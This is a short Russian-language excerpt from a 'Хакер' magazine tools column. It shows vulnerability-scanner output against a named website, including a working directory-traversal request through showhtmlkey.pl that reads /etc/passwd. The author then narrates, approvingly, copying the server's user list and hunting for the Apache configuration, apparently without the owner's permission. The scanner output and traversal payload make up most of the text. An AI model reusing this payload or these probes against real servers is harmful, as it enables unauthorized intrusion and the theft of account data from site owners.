X-tools

Стройков Леонид aka R0id

Хакер, номер #092, стр. 092-084-4

Server: Apache/1.3.33 (Unix) PHP/4.3.10 FrontPage/5.0.2.2510

http://www.usclargo.com/cgi-bin/search.cgi - [ 200 SUCCESS ]

http://www.usclargo.com/cgi-bin/form.cgi - 500

http://www.usclargo.com/manage/cgi/cgiproc - 401

http://www.usclargo.com/?wp-cs-dump - [ 200 SUCCESS ]

http://www.usclargo.com/_vti_inf.html - [ 200 SUCCESS ]

http://www.usclargo.com/cgi-bin/mods/showhtml/showhtmlkey.pl?filename=../../../../../../../../etc/passwd - [ 200 SUCCESS ]

http://www.usclargo.com/cgi-bin/ - 403

Краем глаза я сразу заметил локальный инклуд в скрипте showhtmlkey.pl. Параметр filename не фильтровал входящие данные, благодаря чему у меня появилась возможность чтения файлов на сервере. В голове мелькнула мысль о выполнении произвольных команд, но, увы, меня послали куда подальше. Тогда, воспользовавшись найденной багой, я просмотрел /etc/passwd. Бережно скопировав список юзеров, я приступил к поиску конфига апача и осмотру сервера... Но это уже совсем другая история.